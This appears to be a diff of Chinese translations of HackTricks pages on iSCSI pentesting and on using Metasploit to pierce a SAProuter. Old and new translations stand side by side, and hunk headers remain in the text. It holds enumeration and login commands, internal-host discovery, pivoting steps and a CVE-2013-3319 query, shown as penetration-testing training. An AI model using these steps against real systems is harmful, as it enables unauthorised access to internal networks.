2. **默认凭据**:如果默认凭据没有更改,攻击者可以轻松地猜测或找到它们并未经授权地访问。
3. **Insecure Configuration**: Misconfigurations in iSCSI implementations can lead to vulnerabilities that can be exploited by attackers.
3. **不安全的配置**iSCSI实现中的配置错误可能导致攻击者可以利用的漏洞。
4. **Man-in-the-Middle Attacks**: If iSCSI traffic is not properly encrypted, attackers can intercept and modify the traffic, leading to unauthorized access or data manipulation.
4. **中间人攻击**如果iSCSI流量没有正确加密攻击者可以拦截和修改流量导致未经授权的访问或数据篡改。
5. **Denial of Service (DoS)**: Attackers can launch DoS attacks against iSCSI targets, causing them to become unavailable to legitimate users.
5. **拒绝服务DoS**攻击者可以对iSCSI目标发起DoS攻击导致它们对合法用户不可用。
### Countermeasures
### 对策
To mitigate the risks associated with iSCSI vulnerabilities, the following countermeasures can be implemented:
为了减轻与iSCSI漏洞相关的风险可以实施以下对策
1. **Strong Authentication**: Implement strong authentication methods, such as CHAP or Mutual CHAP, to ensure only authorized initiators can access iSCSI targets.
1. **强身份验证**实施强身份验证方法如CHAP或Mutual CHAP以确保只有授权的初始化程序可以访问iSCSI目标。
2. **Change Default Credentials**: Always change default credentials to unique and strong passwords to prevent unauthorized access.
2. **更改默认凭据**:始终将默认凭据更改为唯一且强密码,以防止未经授权的访问。
3. **Secure Configuration**: Ensure that iSCSI implementations are properly configured and follow security best practices.
3. **安全配置**确保iSCSI实现已正确配置并遵循安全最佳实践。
4. **Encrypt iSCSI Traffic**: Use IPsec or other encryption methods to protect iSCSI traffic from interception and modification.
4. **加密iSCSI流量**使用IPsec或其他加密方法保护iSCSI流量免受拦截和修改。
5. **Implement Access Controls**: Use ACLs to restrict access to iSCSI targets based on IP addresses or initiator IQNs.
5. **实施访问控制**使用ACLs根据IP地址或初始化程序IQNs限制对iSCSI目标的访问。
6. **Monitor for Anomalies**: Implement monitoring and logging mechanisms to detect and respond to any suspicious activity or unauthorized access attempts.
6. **监控异常情况**:实施监控和日志记录机制,以检测和响应任何可疑活动或未经授权的访问尝试。
7. **Regular Updates and Patching**: Keep iSCSI implementations up to date with the latest security patches and updates to address any known vulnerabilities.
7. **定期更新和修补**及时更新iSCSI实现的最新安全补丁和更新以解决已知漏洞。
By implementing these countermeasures, the security of iSCSI implementations can be significantly improved, reducing the risk of unauthorized access and data breaches.
```
nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx
```
此脚本将指示是否需要身份验证。
此脚本将指示是否需要认证。
### [暴力破解](../generic-methodologies-and-resources/brute-force.md#iscsi)
### [Linux上挂载iSCSI](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
### [在 Linux 上挂载 ISCSI](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
**注意:**您可能会发现,当您的目标被发现时,它们会列在不同的IP地址下。如果iSCSI服务通过NAT或虚拟IP公开通常会发生这种情况。在这种情况下`iscsiadmin`将无法连接。这需要对由您的发现活动自动创建的节点的目录名称进行两个调整,并对此目录中包含的`default`文件进行一个调整。
**注意:** 您可能会发现当您的目标被发现时它们被列在不同的IP地址下。如果iSCSI服务通过NAT或虚拟IP暴露通常会发生这种情况。在这些情况下`iscsiadmin` 将无法连接。这需要两个调整:一个是对由您的发现活动自动创建的节点目录名称的调整,另一个是对该目录中包含的 `default` 文件的调整。
例如您正在尝试连接到位于123.123.123.123端口3260的iSCSI目标。公开iSCSI目标的服务器实际上位于192.168.1.2但通过NAT公开。iscsiadm将注册_internal_地址而不是_public_地址:
例如您正在尝试连接到位于123.123.123.123端口3260的iSCSI目标。实际暴露iSCSI目标的服务器位于192.168.1.2但通过NAT暴露。isciadm将注册 _内部_ 地址而不是 _公共_ 地址:
```
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
[...]
```
这个命令将在你的文件系统中创建一个目录,就像这样:
```markdown
此命令将在文件系统中创建如下目录:
```
```
/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/
```
在目录中,有一个默认文件,其中包含连接到目标所需的所有设置。
在目录中,有一个默认文件,包含连接到目标所需的所有设置。
1. 将`/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/`重命名为`/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`
2. 在`/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`中,将`node.conn[0].address`设置更改为指向123.123.123.123而不是192.168.1.2。可以使用以下命令完成此操作`sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
1. 将 `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` 重命名为 `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`
2. 在 `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` 中,将 `node.conn[0].address` 设置更改为指向 123.123.123.123 而不是 192.168.1.2。可以使用如下命令完成:`sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
现在,您可以按照链接中的说明挂载目标。
您现在可以按照链接中的说明挂载目标。
### [Windows上挂载ISCSI](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
### [在 Windows 上挂载 ISCSI](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
## **手动枚举**
```bash
sudo apt-get install open-iscsi
```
首先,您需要发现IP地址背后的目标名称:
首先,您需要**发现** IP 后面的目标名称:
```
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
[2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382
[fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382
```
_请注意它将显示您可以访问这些目标的接口的IP和端口。它甚至可以显示内部IP或与您使用的IP不同的IP。_
请注意,它会显示您可以**访问**这些**目标**的接口的 **IP 和端口**。它甚至可以**显示内部 IP 或与您使用的 IP 不同的 IP**。
然后,您**捕获每行打印字符串的第二部分**从第一行开始的_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_),并**尝试登录**
然后你**捕获每行打印字符串的第二部分**(第一行的 _iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_),并**尝试登录**
```bash
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login
Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple)
Login to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
```
然后,您可以使用`logout`命令**注销**。
然后,您可以使用 `logout` 进行**注销**
```bash
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --logout
Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260]
Logout of [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
```
我们可以通过仅使用任何`--login`/`--logout`参数来获取有关它的**更多信息**。
我们可以通过不使用任何 `--login`/`--logout` 参数来**找到更多信息**。
```bash
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260
# BEGIN RECORD 2.0-873
@ -305,7 +159,7 @@ node.conn[0].iscsi.IFMarker = No
node.conn[0].iscsi.OFMarker = No
# END RECORD
```
**有一个脚本可以自动化基本子网枚举过程,可在** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm) **找到。**
**有一个脚本可以自动化基本子网枚举过程,可在** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm) **获取。**
## **Shodan**
@ -317,16 +171,14 @@ node.conn[0].iscsi.OFMarker = No
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) **或**[**电报群组**](https://t.me/peass) **或在Twitter上**[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注我**。
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,36 +1,34 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>学习 AWS 黑客技术,从新手到专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持 HackTricks 的其他方式:
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您希望在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库 **提交 PR 来分享您的黑客技巧。**
</details>
Copy of: [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)
复制自:[https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)
```text
PORT STATE SERVICE VERSION
3299/tcp open saprouter?
```
# 使用Metasploit穿透SAProuter
# 穿透SAProuter的Metasploit
Saprouter基本上是SAP系统的反向代理通常位于互联网和内部SAP系统之间。它的主要目的是允许来自互联网上的主机对内部SAP系统进行受控访问因为它可以比典型防火墙更精细地控制SAP协议。
Saprouter基本上是SAP系统的反向代理通常位于互联网和内部SAP系统之间。它的主要目的是允许互联网上的主机受控访问内部SAP系统因为它允许比典型防火墙更细粒度的控制SAP协议。
这意味着saprouter通常会暴露在互联网上通过在组织的防火墙上允许对saprouter主机的入站TCP端口3299的访问。从saprouter上至少应该能够访问到内部的SAP服务器。这使得它成为一个非常有趣的目标因为它可以提供进入“高价值”网络的途径
这意味着saprouter通常最终会暴露在互联网上通过允许入站TCP端口3299到组织防火墙上的saprouter主机。至少应该可以从saprouter访问到一个内部SAP服务器。这使它成为一个非常有趣的目标因为它可以提供进入“高价值”网络的方式
下图显示了一个基本的网络设置,我们将在示例中使用该设置
下图显示了一个基本的网络设置,我们将使用它进行示例
![](https://blog.rapid7.com/content/images/post-images/33923/image1.jpg)
首先,我们将使用[`sap_service_discovery`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_service_discovery)模块对暴露的IP地址进行SAP服务扫描本例中为1.2.3.101。
首先,我们将开始执行对暴露的IP地址的SAP服务扫描使用[`sap_service_discovery`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_service_discovery)模块,在这个例子中是1.2.3.101。
```text
msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
@ -43,7 +41,7 @@ msf auxiliary(sap_service_discovery) > run
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
扫描结果显示主机在预期的TCP 3299端口上运行着SAP路由器。现在我们可以深入挖掘并尝试从saprouter获取一些信息。如果它被错误配置了而且通常它们都是这样可能可以获取内部信息例如通过saprouter与内部主机建立的连接。为此我们使用[`sap_router_info_request`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_info_request)模块:
扫描显示主机在预期的TCP 3299端口上运行着SAP路由器。我们现在可以深入挖掘并尝试从saprouter获取一些信息。如果配置错误而且它们经常会出错我们可能能够获取内部信息例如通过saprouter到内部主机的已建立连接。为此我们使用[`sap_router_info_request`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_info_request)模块:
```text
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
@ -67,13 +65,15 @@ Source Destination Service
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
所以从输出中我们可以看到互联网上的某个人1.2.3.12连接到内部主机192.168.1.18的3200端口。3200端口是DIAG协议的常见SAP端口SAP GUI应用程序连接到SAP服务器的地方。我们还获得了关于内部IP寻址方案的信息他们很可能使用的是192.168.1.0/24网络或者该网络中的某个子网。
```markdown
因此从输出中我们可以看到互联网上的某个用户1.2.3.12正在连接到内部主机192.168.1.18的3200端口。3200端口是SAP常用的端口用于DIAG协议SAP GUI应用程序连接到SAP服务器的地方。我们还获得了有关内部IP地址方案的信息他们很可能至少使用192.168.1.0/24网络或该网络中的某个子网。
**枚举内部主机和服务**
有了这些信息,我们现在可以开始扫描内部网络了。由于saprouter的工作方式类似于代理我们将尝试连接到它并请求连接到内部主机和端口并查看saprouter的回复。这可能会更深入地了解内部主机、服务和ACL的情况这取决于saprouter的配置。我们将使用[`sap_router_portscanner`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_portscanner)模块来实现这目的。
有了这些信息,我们现在可以开始扫描内部网络。由于saprouter的工作原理类似于代理我们将尝试连接到它并请求连接到内部主机和端口然后查看saprouter的回复。这可能会根据saprouter的配置提供更多关于内部主机、服务和访问控制列表ACLs的洞察。我们将使用[`sap_router_portscanner`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_portscanner)模块来实现这目的。
该模块连接到saprouter并请求连接到其他主机在TARGETS选项中定义的特定TCP端口。然后分析回复并判断所请求的连接是否可能。该模块提供了一些可用的选项
该模块连接到saprouter并请求连接到其他主机在TARGETS选项中定义的特定TCP端口。然后它分析回复并了解所请求的连接是否可能。这个模块提供了一些可以使用的选项
```
```text
Basic options:
Name Current Setting Required Description
@ -87,18 +87,20 @@ RHOST yes SAPRouter address
RPORT 3299 yes SAPRouter TCP port
TARGETS yes Comma delimited targets. When resolution is local address ranges or CIDR identifiers allowed.
```
至少你需要设置saprouter的IP地址在这个例子中是1.2.3.101。然后将TARGETS设置为您想要扫描的内部网络地址最后使用TCP端口设置PORTS
您至少需要设置saprouter的IP地址在示例中为1.2.3.101。然后设置TARGETS为您想要扫描的内部网络地址最后设置PORTS为要扫描的TCP端口
该模块还提供了一个INSTANCES选项可以简化PORTS选项的定义。SAP安装支持多个实例提供类似的服务因此每个实例都分配了TCP端口。例如SAP实例00将在端口3200上提供SAP调度服务SAP GUI连接到该服务实例01将在端口3201上提供该服务。PORTS选项支持一个“通配符”即“NN”它将被实例号替换因此可以扫描所有定义的实例的端口。因此如果我们想要扫描从00到50的实例可以按照以下方式定义INSTANCES和PORTS变量
该模块还提供了一个INSTANCES选项可以简化PORTS选项的定义。SAP安装支持多个实例提供类似的服务因此每个实例都分配了TCP端口。例如SAP实例00将在端口3200上有SAP调度器服务SAP GUI连接到的地方实例01在端口3201上。PORTS选项支持一个“通配符”即“NN”它将被替换为实例号因此扫描所有定义实例的端口。所以如果我们想要扫描从00到50的实例我们可以这样定义INSTANCES和PORTS变量
```text
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
PORTS => 32NN
```
```markdown
使用此设置模块将扫描3200到3250范围内的端口。
在模块的源代码中您可以找到有关SAP系统常见默认端口的信息我们将使用这些信息进行扫描
在模块的源代码中您可以找到有关SAP系统上常见默认端口的信息我们现在将使用它来进行扫描
```
```text
msf > use auxiliary/scanner/sap/sap_router_portscanner
msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_router_portscanner
@ -126,9 +128,9 @@ Host Port State Info
[*] Auxiliary module execution completed
```
我们可以尝试使用VERBOSE选项来了解为什么一些连接不能通过saprouter。当VERBOSE设置为true时我们可以看到saprouter的响应并映射定义的ACL。
我们可以通过使用VERBOSE选项来尝试理解为什么某些连接不能通过saprouter。当VERBOSE设置为true时我们能够看到来自saprouter的响应并映射定义的ACL。
现在我们将扫描192.168.1.18和192.168.1.1主机但只在端口3200上以查看是否可以连接到两个SAP调度程序
我们现在将扫描192.168.1.18和192.168.1.1主机但只在端口3200上以查看我们是否可以连接到两个SAP调度程序
```text
msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
@ -154,20 +156,20 @@ Host Port State Info
[!] Warning: Service info could be inaccurate
[*] Auxiliary module execution completed
```
正如您所见,我们现在也知道我们无法连接到端口3200上的其他主机因为它被saprouter上定义的ACL阻止了。
您可以看到,我们现在也知道无法连接到端口3200上的其他主机因为它被定义在saprouter上的ACL阻止了。
**映射ACL**
**映射ACLs**
关于saprouter的一个有趣之处是它支持两种类型的连接:
saprouter的一个有趣之处在于它支持两种类型的连接:
* 本机连接 - 这些连接只是TCP连接
* SAP协议 - 这些是带有变化的TCP连接协议规定所有消息都以4个字节的长度开始,指示接下来的内容的长度。
* 原生 - 这些连接仅仅是TCP连接
* SAP协议 - 这些是带有变化的TCP连接协议规定所有消息都以4个字节开始,表示后续内容的长度。
SAP协议是特定于saprouter的是SAP GUI用于通过saprouter连接到SAP DIAG端口的协议。本机协议用于允许其他类型的连接通过saprouter。
SAP协议是saprouter特有的是SAP GUI用来通过saprouter连接到SAP DIAG端口的协议。原生协议用于允许其他类型的连接通过saprouter。
此模块允许在扫描中通过MODE选项指定要测试的连接类型。默认值是SAP协议这是在生产中最有可能使用的。然而发现允许通过saprouter的其他服务使用本机TCP连接的情况并不罕见。
此模块允许在扫描时在MODE选项中指定要测试的连接类型。默认是SAP协议这是生产中最可能使用的。然而在saprouter允许的其他服务中发现允许原生\(TCP\)连接通过并不少见。
我们可以将MODE设置为TCP以评估是否允许此类连接。我们现在将扫描内部主机分别在端口3200SAP DIAG和80HTTP将VERBOSE设置为true在实例00和01上观察结果
我们可以将MODE设置为TCP以评估是否允许此类型的连接。我们现在将扫描内部主机端口3200 \(SAP DIAG\) 和 80 \(HTTP\)将VERBOSE设置为true在00和01两个实例上进行扫描看看会发生什么
```text
msf auxiliary(sap_router_portscanner) > set MODE TCP
MODE => TCP
@ -208,34 +210,34 @@ Host Port State Info
[*] Auxiliary module execution completed
```
从输出和之前的信息中,我们现在知道ACL的设置如下
从输出和之前的信息我们现在知道ACL大概是这样的:
* 允许从任何主机的TCP连接到192.168.1.1的80端口
* 允许从任何主机的TCP连接到192.168.1.18的80端口
* 允许从任何主机的TCP连接到192.168.1.1的3201端口
* 允许从任何主机的TCP连接到192.168.1.18的3201端口
* 允许从任何主机的SAP连接到192.168.1.18的3200端口
* 允许任何主机对192.168.1.1的80端口进行TCP连接
* 允许任何主机对192.168.1.18的80端口进行TCP连接
* 允许任何主机对192.168.1.1的3201端口进行TCP连接
* 允许任何主机对192.168.1.18的3201端口进行TCP连接
* 允许任何主机对192.168.1.18的3200端口进行SAP连接
**盲目枚举内部主机**
如果你还记得我们开始时是通过获取saprouter的信息来知道内部主机的IP地址然后从那里继续。但是如果saprouter没有提供这些信息怎么办呢
如果您还记得我们开始时通过获取saprouter的信息来了解内部主机的IP地址然后从那里继续。但如果saprouter没有提供那些信息怎么办
一种选择是直接开始扫描私有地址空间,看看会发生什么。另一种选择是通过主机名盲目枚举主机。
一种选择是开始扫描私有地址空间,看看会发生什么。另一种是通过主机名盲目枚举主机。
Saprouters能够解析我们请求连接的主机名。当saprouter无法连接时saprouter会友好地告诉我们错误信息可以通过取消注释模块源代码的第242行来查看原始响应
Saprouters能够解析我们请求其连接的主机名。Saprouter也很友好地告诉我们当它连接失败时的错误您实际上可以通过取消注释模块源代码的第242行来查看原始响应
有了这个功能,我们可以通过主机名枚举内部主机,并尝试直接获取目标
有了这个功能,我们就能够通过主机名枚举内部主机,并尝试直接找到宝藏
为此我们需要将RESOLVE选项设置为“remote”。在这种情况下模块将请求连接到定义的目标,而不会在本地解析它们,我们可以尝试猜测内部主机,并最终在不知道其IP地址的情况下连接到它们。
为此我们需要将RESOLVE选项设置为“remote”。在这种情况下模块将请求连接到定义的TARGETS而不会在本地解析它们我们可以尝试猜测内部主机并最终在不知道它们的IP地址的情况下连接到它们。
在盲目枚举主机时要记住的重要事项:
在盲目枚举主机时要记住的重要事项:
* 将VERBOSE设置为true
* 如果MODE设置为SAP_PROTO我们将从saprouter获取更多信息
* 只需设置一个端口进行扫描即可,因为我们此时只对saprouter发送的信息感兴趣尝试使用3200
* 结果将根据配置的ACL而有所不同。不幸的是被阻止的连接不会给我们太多信息。
* 如果MODE设置为SAP_PROTO我们将从saprouter获取更多信息
* 此时只需设置一个端口进行扫描因为我们只对saprouter发送的信息感兴趣尝试3200
* 结果将根据配置的ACL而有所不同。不幸的是被阻止的连接不会给我们提供太多信息。
在这个例子中,我们将尝试使用主机名sap、sapsrv和sapsrv2。
在这个例子中我们将尝试主机名sap、sapsrv和sapsrv2。
```text
msf auxiliary(sap_router_portscanner) > set RESOLVE remote
RESOLVE => remote
@ -268,17 +270,17 @@ sapsrv2 3200 open SAP Dispatcher sapdp00
[*] Auxiliary module execution completed
```
从输出中我们可以看到主机“sap”不存在但是主机sapsrv存在尽管无法访问而sapsrv2存在并且我们可以连接到端口3200
从输出中我们可以看到“sap”这个主机不存在但是主机sapsrv虽然无法访问sapsrv2却存在并且我们可以连接到3200端口
这种技术也可以用来尝试查找网络上的其他主机与SAP无关只需尝试使用常见的主机名如smtp、exchange、pdc、bdc、fileshare、intranet或者您在技巧包中还有其他好的主机名。
这种技术也可以用来尝试在网络上找到其他非SAP相关的主机只需尝试使用常见的主机名如smtp、exchange、pdc、bdc、fileshare、intranet或者你的技巧包里可能有的其他好听的主机名。
**最后一英里**
**最后一**
现在我们已经获得了所有这些信息,我们知道了可用的内部主机、允许的服务以及我们可以使用的协议来穿透saprouter我们实际上可以连接到内部服务器并继续进行渗透测试。
现在我们已经获得了所有这些信息,我们知道了内部可用的主机、允许的服务以及我们可以用来穿透saprouter的协议我们实际上可以连接到内部服务器并继续我们的渗透测试。
Metasploit为我们提供了一种很棒的方式来使用saprouter作为代理使用Proxies选项感谢Dave Hartley[@nmonkee](http://twitter.com/nmonkee))。
Metasploit为我们提供了一个很棒的方式,可以将saprouter作为代理使用Proxies选项感谢Dave Hartley[@nmonkee](http://twitter.com/nmonkee))。
因此在这一点上我们想要开始收集有关我们在主机192.168.1.18上发现的内部sap服务器的信息。作为示例,我们将使用模块[`sap_hostctrl_getcomputersystem`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem)该模块利用CVE-2013-3319并通过未经身份验证的SOAP请求查询端口1128上的SAP Host Control服务从而为我们提供有关服务器正在运行的操作系统的详细信息。我们将通过saprouter进行枢轴转向使用metasploit中的代理支持
所以在这个阶段我们想要开始收集我们在192.168.1.18主机上发现的内部sap服务器的信息。作为一个例子,我们将使用模块[`sap_hostctrl_getcomputersystem`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem)它利用CVE-2013-3319漏洞通过在1128端口上对SAP Host Control服务发起未经认证的SOAP请求来获取服务器运行的操作系统的详细信息。我们将通过saprouter进行枢纽转接使用metasploit中的代理支持
![](https://blog.rapid7.com/content/images/post-images/33923/image2.jpg)
```text
@ -294,15 +296,15 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
如果一切顺利,你将在loot中获得模块的良好输出其中包含来自目标SAP主机的有趣的内部信息例如内部用户名然后可以尝试暴力破解)。
如果一切顺利,您将在loot中得到模块的良好输出其中包含目标SAP主机的有趣内部信息例如内部用户名您可以尝试对其进行暴力破解)。
枢轴技术可以(而且应该!)用于对内部主机运行其他模块,不仅限于SAP系统
Pivoting可以也应该用于针对内部主机运行其他模块不仅仅是SAP系统
**结论**
我们已经看到了如何利用弱saprouter配置从互联网上访问内部主机而这一切只使用了metasploit对SAP系统进行渗透测试的支持。
我们已经看到如何利用弱saprouter配置这些配置可以允许从互联网访问内部主机所有这些仅使用metasploit对SAP系统的pentesting支持。
我希望本文能够帮助揭示saprouter部署所带来的风险以及SAP安全的一般情况
我希望这篇文章能帮助阐明与saprouter部署相关的风险以及SAP安全性
**参考资料**
@ -325,16 +327,14 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS hacking成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗或者你想获得最新版本的PEASS或下载PDF格式的HackTricks吗请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
其他支持HackTricks的方式
